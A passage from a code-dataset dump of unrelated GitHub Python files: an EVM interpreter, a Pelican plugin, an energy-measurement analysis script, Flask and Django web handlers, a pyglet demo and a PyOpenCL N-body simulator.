SSTORE\n print('SSTORE')\n key = self.stack.pop()\n value = self.stack.pop()\n print(self.state[self.msg['address']]['storage'])\n self.state[self.msg['address']]['storage'][key] = value\n print(self.state[self.msg['address']]['storage'])\n self.pc += 1\n\n elif self.code[self.pc] == 0x56: # JUMP\n print('JUMP')\n dist = self.stack.pop()\n self.pc = int.from_bytes(dist, 'big')\n\n elif self.code[self.pc] == 0x57: # JUMPI\n print('JUMPI')\n dist = self.stack.pop()\n cond = self.stack.pop()\n if(int.from_bytes(cond, 'big')):\n self.pc = int.from_bytes(dist, 'big')\n else:\n self.pc += 1\n\n elif self.code[self.pc] == 0x5b: # JUMPDEST\n print('JUMPDEST', self.pc)\n self.pc += 1\n\n elif self.code[self.pc] >= 0x60 and self.code[self.pc] <= 0x7f: # PUSHx\n size = self.code[self.pc] - 0x5f\n print('PUSH', size)\n self.stack.append(bytes([0]*(32-size)) + self.code[self.pc+1:self.pc+1+size])\n self.pc += size+1\n\n elif self.code[self.pc] >= 0x80 and self.code[self.pc] <= 0x8f: # DUPx\n size = self.code[self.pc] - 0x7f\n print('DUP', size)\n self.stack.append(self.stack[-size])\n self.pc += 1\n\n elif self.code[self.pc] >= 0x90 and self.code[self.pc] <= 0x9f: # SWAPx\n size = self.code[self.pc] - 0x8f\n print('SWAP', size)\n self.stack[-1], self.stack[-1-size] = self.stack[-1-size], self.stack[-1] \n self.pc += 1\n\n elif self.code[self.pc] >= 0xA0 and self.code[self.pc] <= 0xA4: # LOGx\n pass\n\n elif self.code[self.pc] == 0xf3: # RETURN\n print('RETURN')\n '''\n branch action :\n for exec the \"RETURN\" op\n example : memory[offset:offset+length]\n '''\n # pop the op number\n offset_bytes = self.stack.pop()\n length_bytes = self.stack.pop()\n\n # the endian use the \"big\"\n offset_num = int.from_bytes(offset_bytes, 'big', signed=True) # the signed must set True for the negative number\n length_num = int.from_bytes(length_bytes, 'big', signed=True)\n\n # ! I think should assert the offset and the length must be positive number\n\n # return the value\n return 'RETURN', self.memory[offset_num : offset_num + length_num]\n\n elif self.code[self.pc] == 0xfd: # REVERT\n print('REVERT')\n # pop the op number\n offset_bytes = self.stack.pop()\n length_bytes = self.stack.pop()\n\n # the endian use the \"big\"\n offset_num = int.from_bytes(offset_bytes, 'big', signed=True) # the signed must set True for the negative number\n length_num = int.from_bytes(length_bytes, 'big', signed=True)\n\n # return the value\n return 'REVERT', self.memory[offset_num : offset_num + length_num]\n\n else:\n raise\n\n print('Stack after:')\n for i in self.stack:\n print('', binascii.hexlify(i))\n print('Mem after:', self.memory)\n\n","repo_name":"kernel1983/simple_evm","sub_path":"simple_evm.py","file_name":"simple_evm.py","file_ext":"py","file_size_in_byte":14580,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"60"} +{"seq_id":"12138182622","text":"# -*- coding: utf-8 -*-\nfrom pathlib import Path\n\nfrom logging import info\nfrom codecs import open\n\nfrom pelican import signals\nfrom pelican.generators import Generator\n\nclass YearPageGenerator(Generator):\n\n def __init__(self, context, settings, path, theme, output_path, *null):\n self.output_path = output_path\n self.context = context\n self.siteurl = settings.get('SITEURL')\n self.settings = settings\n self.aktuelles_path = f'{self.output_path}/aktuelles'\n super().__init__(context, settings, path, theme, output_path)\n\n def _get_years(self):\n years = set()\n for article in self.context['articles']:\n if not hasattr(article, 'type') or article.type != 'news':\n continue\n years.add(article.date.year)\n return sorted(list(years), reverse=True)\n\n def generate_context(self):\n self.context['year'] = None\n self.context['years'] = []\n\n def generate_output(self, writer):\n years = self._get_years()\n for year in years:\n path = Path(f'{self.aktuelles_path}/{year}')\n path.mkdir(parents=True, exist_ok=True)\n path = path / 'index.html'\n info(f'writing {path}')\n template = self.get_template('year')\n writer.write_file(path, template, self.context, year=year, years=years)\n\n\ndef get_generators(generators):\n return YearPageGenerator\n\n\ndef register():\n signals.get_generators.connect(get_generators)\n","repo_name":"rakvat/pinkepanke.net","sub_path":"plugins/year_page_generator/year_page_generator.py","file_name":"year_page_generator.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"7358154849","text":"#!/usr/bin/env python3\n\nfrom utils.common import *\nfrom utils.custom import *\nimport time\nimport os\nimport subprocess\nimport pathlib\nimport shutil\nimport json\nimport argparse\nimport csv\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nimport traceback\n\n\ndef readMaxes (ener, nb):\n maxes = [0 for i in range (nb)]\n res = [(0, 0, 0) for i in range (nb)]\n currentMinIndex = 0\n\n for i in range (len (ener[\"FULL\"])) :\n f = float (ener [\"FULL\"][i])\n A = float (ener [\"PG1\"][i])\n B = float (ener [\"PG2\"][i])\n if (A + B > maxes [currentMinIndex]):\n res [currentMinIndex] = (f, A, B)\n maxes [currentMinIndex] = A + B\n currentMinIndex = maxes.index (min (maxes))\n return res\n\ndef getPowerVersusScaphandre (path, nameA, coreA, nameB, coreB):\n \"\"\"\n returns:\n - [0]: the rapl max power consumption of the machine when running 'A' and 'B' at the same time\n - [1]: the estimation of the power consumption of 'A'\n - [2]: the estimation of the power consumption of 'B'\n \"\"\"\n\n ener = read (path + \"/result/\" + nameA + \"-v-\" + nameB + \"-\" + str (coreA) + \"_\" + str (coreB) + \"/scaphandre.csv\")\n try :\n res = readMaxes (ener, 5)\n values = []\n ratio = []\n for measure in res :\n if (measure [1] != 0 and measure [2] != 0):\n ratio.append (measure [1] / measure [2] * 100 - 100)\n values.append ((measure [1], measure [2]))\n\n (ratio, values) = removeExtremes (ratio, values)\n\n if (np.var (ratio) < 1):\n return (max (res[0]), [ratio[0]], [values[0]])\n else :\n return (max (res[0]), ratio, values)\n except Exception as e:\n raise e\n # print (path + \"/result/\" + nameA + \"-v-\" + nameB + \"-\" + str (coreA) + \"_\" + str (coreB) + \"/scaphandre.csv\")\n # traceback.print_exc ()\n\ndef analyseScapandre (machine, HT, machineNoCap = \"\"):\n \"\"\"\n Generate the plot of scaphandre results for the machine 'machine', with or without hyperthreading ('HT')\n \"\"\"\n\n residuA = computeResidualConsumption (machine, HT)\n\n\n #plt.clf ()\n (directory, cores) = resDirectory (machine, HT)\n\n machineB = machineNoCap\n if (machineB == \"\"):\n machineB = machine\n (directoryB, cores) = resDirectory (machineB, HT)\n residuB = computeResidualConsumption (machineB, HT)\n\n cores = int (cores / 2)\n names = []\n allX = {}\n allY = {}\n\n errors = {}\n errorsNB = {}\n maxError = {}\n\n mx = -1000\n mi = 1000\n for zA in range (1, cores + 1):\n for zB in range (1, cores + 1):\n curr = str (zA) + \"_v_\" + str (zB)\n allX [curr] = []\n allY [curr] = []\n\n errors [curr] = 0\n errorsNB [curr] = 0\n maxError [curr] = 0\n\n for nameA in PG :\n try:\n aloneA = getPowerAloneZ (directory, nameA, zA)\n for nameB in PG :\n aloneB = getPowerAloneZ (directoryB, nameB, zB)\n\n try :\n (both, ratio, values) = getPowerVersusScaphandre (directory, nameA, zA, nameB, zB)\n\n vA = aloneA - residuA\n vB = aloneB - residuA\n\n for i in range (len (ratio)):\n allY [curr].append (ratio[i])\n allX [curr].append (vA / vB * 100 - 100)\n\n for i in range (len (values)):\n ceA = values [i][0]\n ceB = values [i][1]\n\n vAR = vA / (vA + vB)\n vBR = vB / (vA + vB)\n\n ceAR = ceA / (ceA + ceB)\n ceBR = ceB / (ceA + ceB)\n\n errorA = abs (vAR - ceAR) * 100\n errorB = abs (vBR - ceBR) * 100\n\n errors [curr] += errorA\n errors [curr] += errorB\n maxError [curr] = max (maxError [curr], max (errorA, errorB))\n # if (errorA > 4 and nameA != nameB):\n # print (nameA, \" \", nameB, \" \", errorA)\n\n errorsNB [curr] += 2\n\n\n except Exception as e:\n #print (e)\n pass\n except Exception as e:\n #print (e)\n pass\n\n # if (errorsNB [curr] != 0) :\n # print (curr, \" \", errors [curr] / errorsNB [curr], \" \", errorsNB [curr], \" \", maxError [curr])\n\n # if len (allX [curr]) != 0:\n # print (\"Scaphandre \", curr)\n # print (\"Distance ideal \", computeDistToOpt (allX[curr], allY[curr]))\n\n\n allNb = sum (errorsNB.values ())\n allErrors = sum (errors.values ())\n maxError = max (maxError.values ())\n print (\"FINAL : \", allErrors / allNb, \" \", maxError)\n\n\n for x in allX :\n if (len (allX [x]) != 0):\n print (x)\n for i in range (len (allX[x])):\n print (f\"({allX [x][i]},{allY [x][i]})\")\n print (\"\")\n print (\"\")\n print (\"===\")\n\n for x in allX :\n if (len (allX [x]) != 0):\n plt.scatter (allX [x], allY[x], label=x, s=0.5)\n mx = max (mx, max (max (allX [x]), max (allY[x])))\n mi = min (mi, min (min (allX [x]), min (allY[x])))\n\n red = [x for x in range (int (mi), int (mx))]\n plt.plot (red, red, color=\"red\", linewidth=0.1)\n plt.legend ()\n plt.suptitle (\"ALL\")\n plt.show ()\n plt.savefig (\".build/ALL_scaph\" + str (HT) + \".png\", dpi=300)\n","repo_name":"davidson-consulting/software-energy-model-evaluation","sub_path":"micro_seq_v_par/scripts/utils/scaphandre.py","file_name":"scaphandre.py","file_ext":"py","file_size_in_byte":5884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"20645676159","text":"from http import HTTPStatus\nfrom flask import Blueprint, jsonify, request\nfrom app.api.model.cuboid import Cuboid\nfrom app.api.model.bag import Bag\nfrom app.api.schema.cuboid import CuboidSchema\nfrom app.api.db import db\n\ncuboid_api = Blueprint(\"cuboid_api\", __name__)\n\n\n@cuboid_api.route(\"/\", methods=[\"GET\"])\ndef list_cuboids():\n cuboid_ids = request.args.getlist(\"cuboid_id\")\n cuboid_schema = CuboidSchema(many=True)\n cuboids = Cuboid.query.filter(Cuboid.id.in_(cuboid_ids)).all()\n\n return jsonify(cuboid_schema.dump(cuboids)), HTTPStatus.OK\n\n\n@cuboid_api.route(\"/\", methods=[\"GET\"])\ndef get_cuboid():\n return \"\", HTTPStatus.OK\n\n\n@cuboid_api.route(\"/\", methods=[\"POST\"])\ndef create_cuboid():\n content = request.json\n\n cuboid_schema = CuboidSchema()\n cuboid = Cuboid(\n width=content[\"width\"],\n height=content[\"height\"],\n depth=content[\"depth\"],\n bag_id=content[\"bag_id\"],\n )\n db.session.add(cuboid)\n db.session.commit()\n\n return jsonify(cuboid_schema.dump(cuboid)), HTTPStatus.CREATED\n\n\n@cuboid_api.route(\"/update\", methods=[\"POST\"])\ndef update_cuboid():\n content = request.json\n status_code = HTTPStatus.OK\n cuboid_schema = CuboidSchema()\n\n cuboid = Cuboid.query.get(content[\"cuboid_id\"])\n if not cuboid:\n return {}, HTTPStatus.NOT_FOUND\n\n cuboid.width = content[\"width\"]\n cuboid.height = content[\"height\"]\n cuboid.depth = content[\"depth\"]\n cuboid.bag_id = content[\"bag_id\"]\n bag = Bag.query.get(content[\"bag_id\"])\n\n current_volume = 0\n for cubo in bag.cuboids:\n if cubo.id != content[\"cuboid_id\"]:\n current_volume += cubo.width * cubo.height * cubo.depth\n\n if (\n bag.volume - current_volume\n >= content[\"width\"] * content[\"height\"] * content[\"depth\"]\n ):\n\n cuboid.query.update(\n {\n \"width\": content[\"width\"],\n \"height\": content[\"height\"],\n \"depth\": content[\"depth\"],\n }\n )\n else:\n status_code = HTTPStatus.UNPROCESSABLE_ENTITY\n\n db.session.commit()\n\n return (\n jsonify(cuboid_schema.dump(cuboid.query.get(content[\"cuboid_id\"]))),\n status_code,\n )\n\n\n@cuboid_api.route(\"/delete\", methods=[\"POST\"])\ndef delete_cuboid():\n content = request.json\n status_code = HTTPStatus.OK\n cuboid_schema = CuboidSchema()\n\n cuboid = Cuboid.query.get(content[\"cuboid_id\"])\n if not cuboid:\n return {}, HTTPStatus.NOT_FOUND\n\n db.session.delete(cuboid)\n\n db.session.commit()\n\n return {}, status_code\n","repo_name":"casimiror/cuboid-challenge-python","sub_path":"app/api/handler/cuboid.py","file_name":"cuboid.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"32922685678","text":"from django.http import HttpResponse, Http404, HttpResponseRedirect, \\\n StreamingHttpResponse, FileResponse, JsonResponse\nfrom django.template import loader\nfrom django.shortcuts import render, get_object_or_404, redirect, get_list_or_404\nfrom django.views.generic.list import ListView\n# from django.views.generic import ListView\nfrom django.views.generic.detail import SingleObjectMixin\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\n\nfrom catalog.models import Anime_title, Genres, Img\nfrom django.urls import reverse\nfrom django.views import generic\nfrom django.views.generic.edit import CreateView\nfrom .forms import Anime_title_form_for_user, SearchForm, Add_Anime_title, ImgForm, XmlForm\nfrom django.urls import reverse_lazy, resolve\nfrom django.views.decorators.http import require_http_methods\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.decorators import login_required\nfrom random import randint\n\nfrom .serializers import GenresSerializer\n\n\nclass IndexView(generic.ListView):\n template_name = 'catalog/index.html'\n context_object_name = 'latest_anime_title_list'\n\n def get_queryset(self):\n \"\"\"Return the last five published questions.\"\"\"\n return Anime_title.objects.order_by('-pub_date')[:10]\n # TODO: это метод должен по идее возвращать в 'current_title' аниме по айди, но как я понял это метод для функции detail\n # def get_context_data(self, *, object_list=None, **kwargs):\n # print(**kwargs)\n # context = super().get_context_data(**kwargs)\n # # context['rubrics'] = Rubric.objects.all()\n # context['current_title'] = Anime_title.objects.get(pk=self.kwargs['anime_id'])\n # return context\n\n\nclass Genre_search(ListView):\n template_name = 'catalog/genre_search.html'\n context_object_name = 'genres'\n\n def get_queryset(self):\n return Anime_title.objects.all()\n\n def get_context_data(self, *, object_list=None, **kwargs):\n context = super().get_context_data(**kwargs)\n context['genres'] = Genres.objects.all()\n return context\n\n\n# Переопределение функции в класс, чтобы было круче\n@require_http_methods(['GET'])\ndef detail(request, anime_id):\n # print(request.GET)\n data = get_object_or_404(Anime_title, pk=anime_id)\n return render(request, 'catalog/detail.html', {'data': data})\n\n\n# TODO: у меня нихуя не получается , я тупой нахуй как пробка\n# #\n# class Anime_title_detailView(SingleObjectMixin, ListView):\n# template_name = 'catalog/index.html'\n# pk_url_kwarg = 'anime_id'\n# def get(self, request, *args, **kwargs):\n# self.object = self.get_object(queryset=Anime_title.objects.all())\n# return super().get(request, *args, **kwargs)\n# def get_context_data(self, **kwargs):\n# context = super().get_context_data(**kwargs)\n# context['current_title'] = self.object\n# context['data'] = context['object_list']\n# return context\n# def get_queryset(self):\n# return Anime_title.objects.all()\ndef genre_titles(request, genre_id):\n data = Anime_title.objects.filter(genre=genre_id)\n return render(request, 'catalog/genre_titles.html', {'data': data})\n\n\n@login_required\ndef top(request, ):\n data = Anime_title.objects.order_by('-rating')[:100]\n return render(request, 'catalog/top.html', {'data': data})\n\n\ndef index2(request):\n response = HttpResponse('Здвесь будет',\n content_type='text/plain; charset=utf-8')\n response.write(' главная')\n response.writelines((' страница', ' сайта'))\n # response['keywords'] = 'Python, Django'\n response.write(' Python Django')\n return response\n\n\ndef tryindex(request):\n filename = r'E:\\photo\\pPKmQED_mb8.jpg'\n return FileResponse(open(filename, 'rb')) # as_attachment=True чтоб сохранить файл)\n\n\ndef tryindex2(request):\n data = {'foo': 'bar'}\n return JsonResponse(data)\n\n\ndef random_title(request):\n data = Anime_title.objects.all()\n title = randint(0, len(data))\n context = Anime_title.objects.get(pk=title)\n return redirect('/catalog/' + str(title), {'data': context})\n\n\n# Todo: Добавить корректные декораторы к этой функции, изменить форму, а то она некрасивая) и по возможности через bootstrap. Пофиксиить формы, есть форма Anime_title_form_for_user, а есть Add_Anime_title (понять какая лучше и чо зачем и почему)\nclass Anime_t_create_view(CreateView):\n template_name = 'catalog/create.html'\n form_class = Anime_title_form_for_user\n success_url = reverse_lazy('catalog:index')\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['Anime_title'] = Anime_title.objects.all()\n return context\n\n\n# TODO: Аналог нормальной формы, нужно потесить\ndef Anime_t_create(request):\n if request.method == 'POST':\n anime_form = Add_Anime_title(request.POST)\n if anime_form.is_valid():\n anime_form.save()\n return HttpResponseRedirect(reverse('catalog:index'))\n else:\n context = {'form': anime_form}\n return render(request, 'catalog/create.html', context)\n else:\n anime_form = Add_Anime_title()\n context = {'form': anime_form}\n return render(request, 'catalog/create.html', context)\n\n\ndef title_search(request):\n if request.method == 'POST':\n sf = SearchForm(request.POST)\n if sf.is_valid():\n keyword = sf.cleaned_data['keyword'].capitalize()\n # genre_id = sf.cleaned_data['genre'].pk\n anime_titles = Anime_title.objects.filter(name_ru__icontains=keyword, )\n # genre=genre_id)\n data = {'data': anime_titles}\n return render(request, 'catalog/search_results.html', data)\n else:\n sf = SearchForm()\n context = {'form': sf}\n return render(request, 'catalog/search.html', context)\n\n\ndef add_img(request):\n if request.method == 'POST':\n form = ImgForm(request.POST, request.FILES)\n if form.is_valid():\n form.save()\n return redirect('catalog:index')\n else:\n context = {'form': form}\n return render(request, 'catalog/add_img.html', context)\n else:\n form = ImgForm()\n context = {'form': form}\n return render(request, 'catalog/add_img.html', context)\ndef upload_xml(request):\n if request.method == 'POST':\n form = XmlForm(request.POST, request.FILES)\n if form.is_valid():\n form.save()\n return redirect('catalog:index')\n else:\n context = {'form': form}\n return render(request, 'catalog/upload_xml.html', context)\n else:\n form = XmlForm()\n context = {'form': form}\n return render(request, 'catalog/upload_xml.html', context)\n\n# api_restwramework\n\n@api_view(['GET', 'POST'])\ndef api_genres(request):\n if request.method == 'GET':\n genres = Genres.objects.all()\n serializer = GenresSerializer(genres, many=True)\n return Response(serializer.data)\n elif request.method == 'POST':\n serializer = GenresSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data,\n status=status.HTTP_201_CREATED)\n else:\n return Response(serializer.errors,\n status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['GET', 'PUT', 'PATCH', 'DELETE'])\ndef api_genres_detail(request, pk):\n genre = Genres.objects.get(pk=pk)\n if request.method == 'GET':\n serializer = GenresSerializer(genre)\n return Response(serializer.data)\n elif request.method == 'PUT' or request.method == 'PATCH':\n serializer = GenresSerializer(genre, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n else:\n return Response(serializer.errors,\n status=status.HTTP_400_BAD_REQUEST)\n elif request.method == 'DELETE':\n genre.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n","repo_name":"IlyaLiii/DjangoAnime","sub_path":"catalog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"26985223436","text":"import pyglet\nfrom pyglet.gl import *\n\ndef create_rect(x,y,w,h,color):\n vli = pyglet.graphics.vertex_list_indexed(4, (0, 1, 2, 0, 2, 3), \"v2f\", \"c4B\") \n\n # PROBLEM: if this line, which should have no effect, is commented in, \n # rect b becomes a triangle!\n # It seems like the points referenced by the indices are being copied\n # from rect a to rect b\n vli.indices[0:3] = (0, 1, 2)\n\n vli.vertices = (x, y, x+w, y, x+w, y+h, x, y+h) \n vli.colors= color*4\n return vli\n \nwindow = pyglet.window.Window()\n\na = create_rect(10,10,100,100,(0,255,0,255))\nb = create_rect(110,110,100,100,(0,0,255,255))\n\n\n@window.event\ndef on_draw():\n window.clear()\n #a.draw(pyglet.gl.GL_TRIANGLES)\n b.draw(pyglet.gl.GL_TRIANGLES)\n\npyglet.app.run()","repo_name":"regular/talkshow","sub_path":"otherStuff/indexed.py","file_name":"indexed.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"31436379814","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nNBody Demonstrator implemented in OpenCL, rendering OpenGL\n\nBy default, rendering in OpenGL is disabled. Add -g option to activate.\n\nPart of matrix programs from: https://forge.cbp.ens-lyon.fr/svn/bench4gpu/\n\nCC BY-NC-SA 2011 : Emmanuel QUEMENER \nCecill v2 : Emmanuel QUEMENER \n\nThanks to Andreas Klockner for PyOpenCL:\nhttp://mathema.tician.de/software/pyopencl\n\n\"\"\"\nimport getopt\nimport sys\nimport time\nimport numpy as np\nimport pyopencl as cl\nimport pyopencl.array\nfrom numpy.random import randint as nprnd\n\n\ndef DictionariesAPI():\n Marsaglia = {\"CONG\": 0, \"SHR3\": 1, \"MWC\": 2, \"KISS\": 3}\n Computing = {\"FP32\": 0, \"FP64\": 1}\n Interaction = {\"Force\": 0, \"Potential\": 1}\n Artevasion = {\"None\": 0, \"NegExp\": 1, \"CorRad\": 2}\n return (Marsaglia, Computing, Interaction, Artevasion)\n\n\nBlobOpenCL = \"\"\"\n#define TFP32 0\n#define TFP64 1\n\n#define TFORCE 0\n#define TPOTENTIAL 1\n\n#define NONE 0\n#define NEGEXP 1\n#define CORRAD 2\n\n#if TYPE == TFP32\n#define MYFLOAT4 float4\n#define MYFLOAT8 float8\n#define MYFLOAT float\n#define DISTANCE fast_distance\n#else\n#define MYFLOAT4 double4\n#define MYFLOAT8 double8\n#define MYFLOAT double\n#define DISTANCE distance\n#if defined(cl_khr_fp64) // Khronos extension available?\n#pragma OPENCL EXTENSION cl_khr_fp64 : enable\n#endif\n#endif\n\n#define znew ((zmwc=36969*(zmwc&65535)+(zmwc>>16))<<16)\n#define wnew ((wmwc=18000*(wmwc&65535)+(wmwc>>16))&65535)\n#define MWC (znew+wnew)\n#define SHR3 (jsr=(jsr=(jsr=jsr^(jsr<<17))^(jsr>>13))^(jsr<<5))\n#define CONG (jcong=69069*jcong+1234567)\n#define KISS ((MWC^CONG)+SHR3)\n\n#define MWCfp (MYFLOAT)(MWC * 2.3283064365386963e-10f)\n#define KISSfp (MYFLOAT)(KISS * 2.3283064365386963e-10f)\n#define SHR3fp (MYFLOAT)(SHR3 * 2.3283064365386963e-10f)\n#define CONGfp (MYFLOAT)(CONG * 2.3283064365386963e-10f)\n\n#define PI (MYFLOAT)3.141592653589793238e0f\n\n#define SMALL_NUM (MYFLOAT)1.e-9f\n\n#define CoreRadius (MYFLOAT)(1.e0f)\n\n// Create my own Distance implementation: distance buggy on Oland AMD chipset\n\nMYFLOAT MyDistance(MYFLOAT4 n,MYFLOAT4 m)\n{\n private MYFLOAT x2,y2,z2;\n x2=n.s0-m.s0;\n x2*=x2;\n y2=n.s1-m.s1;\n y2*=y2;\n z2=n.s2-m.s2;\n z2*=z2;\n return(sqrt(x2+y2+z2));\n}\n\n// Potential between 2 m,n bodies\nMYFLOAT PairPotential(MYFLOAT4 m,MYFLOAT4 n)\n#if ARTEVASION == NEGEXP\n// Add exp(-r) to numerator to avoid divergence for low distances\n{\n MYFLOAT r=DISTANCE(n,m);\n return((-1.e0f+exp(-r))/r);\n}\n#elif ARTEVASION == CORRAD\n// Add Core Radius to avoid divergence for low distances\n{\n MYFLOAT r=DISTANCE(n,m);\n return(-1.e0f/sqrt(r*r+CoreRadius*CoreRadius));\n}\n#else\n// Classical potential in 1/r\n{\n// return((MYFLOAT)(-1.e0f)/(MyDistance(m,n)));\n return((MYFLOAT)(-1.e0f)/(DISTANCE(n,m)));\n}\n#endif\n\n// Interaction based of Force as gradient of Potential\nMYFLOAT4 Interaction(MYFLOAT4 m,MYFLOAT4 n)\n#if INTERACTION == TFORCE\n#if ARTEVASION == NEGEXP\n// Force gradient of potential, set as (1-exp(-r))/r\n{\n private MYFLOAT r=MyDistance(n,m);\n private MYFLOAT num=1.e0f+exp(-r)*(r-1.e0f);\n return((n-m)*num/(MYFLOAT)(r*r*r));\n}\n#elif ARTEVASION == CORRAD\n// Force gradient of potential, (Core Radius) set as 1/sqrt(r**2+CoreRadius**2)\n{\n private MYFLOAT r=MyDistance(n,m);\n private MYFLOAT den=sqrt(r*r+CoreRadius*CoreRadius);\n return((n-m)/(MYFLOAT)(den*den*den));\n}\n#else\n// Simplest implementation of force (equals to acceleration)\n// seems to bo bad (numerous artevasions)\n// MYFLOAT4 InteractionForce(MYFLOAT4 m,MYFLOAT4 n)\n{\n private MYFLOAT r=MyDistance(n,m);\n return((n-m)/(MYFLOAT)(r*r*r));\n}\n#endif\n#else\n// Force definited as gradient of potential\n// Estimate potential and proximate potential to estimate force\n{\n // 1/1024 seems to be a good factor: larger one provides bad results\n private MYFLOAT epsilon=(MYFLOAT)(1.e0f/1024);\n private MYFLOAT4 er=normalize(n-m);\n private MYFLOAT4 dr=er*(MYFLOAT)epsilon;\n\n return(er/epsilon*(PairPotential(m,n)-PairPotential(m+dr,n)));\n}\n#endif\n\nMYFLOAT AtomicPotential(__global MYFLOAT4* clDataX,int gid)\n{\n private MYFLOAT potential=(MYFLOAT)0.e0f;\n private MYFLOAT4 x=clDataX[gid];\n\n for (int i=0;iRadius) {\n Position=(MYFLOAT4)((MWCfp-0.5e0f)*diameter,(MWCfp-0.5e0f)*diameter,(MWCfp-0.5e0f)*diameter,0.e0f);\n Length=(MYFLOAT)length((MYFLOAT4)Position);\n }\n\n clDataX[gid]=Position;\n\n barrier(CLK_GLOBAL_MEM_FENCE);\n}\n\n__kernel void InBoxSplutterPoints(__global MYFLOAT4* clDataX, MYFLOAT box,\n uint seed_z,uint seed_w)\n{\n int gid=get_global_id(0);\n uint zmwc=seed_z+gid;\n uint wmwc=seed_w-gid;\n private MYFLOAT Heat;\n\n for (int i=0;i -d -n -i -z -v -s -b -m -t \" # noqa: E501\n\n try:\n opts, args = getopt.getopt(\n sys.argv[1:],\n \"rpgehod:n:i:z:v:s:m:t:b:x:\",\n [\n \"random\",\n \"potential\",\n \"coarev\",\n \"opengl\",\n \"viriel\",\n \"verbose\",\n \"device=\",\n \"number=\",\n \"iterations=\",\n \"size=\",\n \"velocity=\",\n \"step=\",\n \"method=\",\n \"valuetype=\",\n \"shape=\",\n ],\n )\n except getopt.GetoptError:\n print(HowToUse % sys.argv[0])\n sys.exit(2)\n\n for opt, arg in opts:\n if opt == \"-h\":\n print(HowToUse % sys.argv[0])\n\n print(\"\\nInformations about devices detected under OpenCL:\")\n try:\n Id = 0\n for platform in cl.get_platforms():\n for device in platform.get_devices():\n # Failed now because of POCL implementation\n # deviceType=cl.device_type.to_string(device.type)\n deviceType = \"xPU\"\n print(\n \"Device #%i from %s of type %s : %s\"\n % (\n Id,\n platform.vendor.lstrip(),\n deviceType,\n device.name.lstrip(),\n )\n )\n Id = Id + 1\n sys.exit()\n except ImportError:\n print(\"Your platform does not seem to support OpenCL\")\n sys.exit()\n\n elif opt in (\"-t\", \"--valuetype\"):\n if arg == \"FP64\":\n\n class MyFloat(np.float64):\n pass\n\n else:\n\n class MyFloat(np.float32):\n pass\n\n ValueType = arg\n elif opt in (\"-d\", \"--device\"):\n Device = int(arg)\n elif opt in (\"-m\", \"--method\"):\n Method = arg\n elif opt in (\"-b\", \"--shape\"):\n Shape = arg\n if Shape != \"Ball\" or Shape != \"Box\":\n print(\"Wrong argument: set to Ball\")\n elif opt in (\"-n\", \"--number\"):\n Number = int(arg)\n elif opt in (\"-i\", \"--iterations\"):\n Iterations = int(arg)\n elif opt in (\"-z\", \"--size\"):\n SizeOfShape = MyFloat(arg)\n elif opt in (\"-v\", \"--velocity\"):\n Velocity = MyFloat(arg)\n VirielStress = False\n elif opt in (\"-s\", \"--step\"):\n Step = MyFloat(arg)\n elif opt in (\"-r\", \"--random\"):\n InitialRandom = True\n elif opt in (\"-c\", \"--check\"):\n CheckEnergies = True\n elif opt in (\"-e\", \"--viriel\"):\n VirielStress = True\n elif opt in (\"-g\", \"--opengl\"):\n OpenGL = True\n elif opt in (\"-p\", \"--potential\"):\n InterType = \"Potential\"\n elif opt in (\"-x\", \"--coarev\"):\n CoArEv = arg\n elif opt in (\"-o\", \"--verbose\"):\n Verbose = True\n\n SizeOfShape = np.sqrt(MyFloat(SizeOfShape * Number))\n Velocity = MyFloat(Velocity)\n Step = MyFloat(Step)\n\n print(\"Device choosed : %s\" % Device)\n print(\"Number of particules : %s\" % Number)\n print(\"Size of Shape : %s\" % SizeOfShape)\n print(\"Initial velocity : %s\" % Velocity)\n print(\"Step of iteration : %s\" % Step)\n print(\"Number of iterations : %s\" % Iterations)\n print(\"Method of resolution : %s\" % Method)\n print(\"Initial Random for RNG Seed : %s\" % InitialRandom)\n print(\"ValueType is : %s\" % ValueType)\n print(\"Viriel distribution of stress : %s\" % VirielStress)\n print(\"OpenGL real time rendering : %s\" % OpenGL)\n print(\"Speed rendering : %s\" % SpeedRendering)\n print(\"Interaction type : %s\" % InterType)\n print(\"Counter Artevasion type : %s\" % CoArEv)\n\n # Create Numpy array of CL vector with 8 FP32\n MyCoM = np.zeros(4, dtype=MyFloat)\n MyDataX = np.zeros(Number * 4, dtype=MyFloat)\n MyDataV = np.zeros(Number * 4, dtype=MyFloat)\n MyPotential = np.zeros(Number, dtype=MyFloat)\n MyKinetic = np.zeros(Number, dtype=MyFloat)\n\n Marsaglia, Computing, Interaction, Artevasion = DictionariesAPI()\n\n # Scan the OpenCL arrays\n Id = 0\n HasXPU = False\n for platform in cl.get_platforms():\n for device in platform.get_devices():\n if Id == Device:\n PlatForm = platform\n XPU = device\n print(\"CPU/GPU selected: \", device.name.lstrip())\n print(\"Platform selected: \", platform.name)\n HasXPU = True\n Id += 1\n\n if not HasXPU:\n print(\"No XPU #%i found in all of %i devices, sorry...\" % (Device, Id - 1))\n sys.exit()\n\n # Create Context\n try:\n ctx = cl.Context([XPU])\n queue = cl.CommandQueue(\n ctx, properties=cl.command_queue_properties.PROFILING_ENABLE\n )\n except Exception:\n print(\"Crash during context creation\")\n\n # Build all routines used for the computing\n\n # BuildOptions=\"-cl-mad-enable 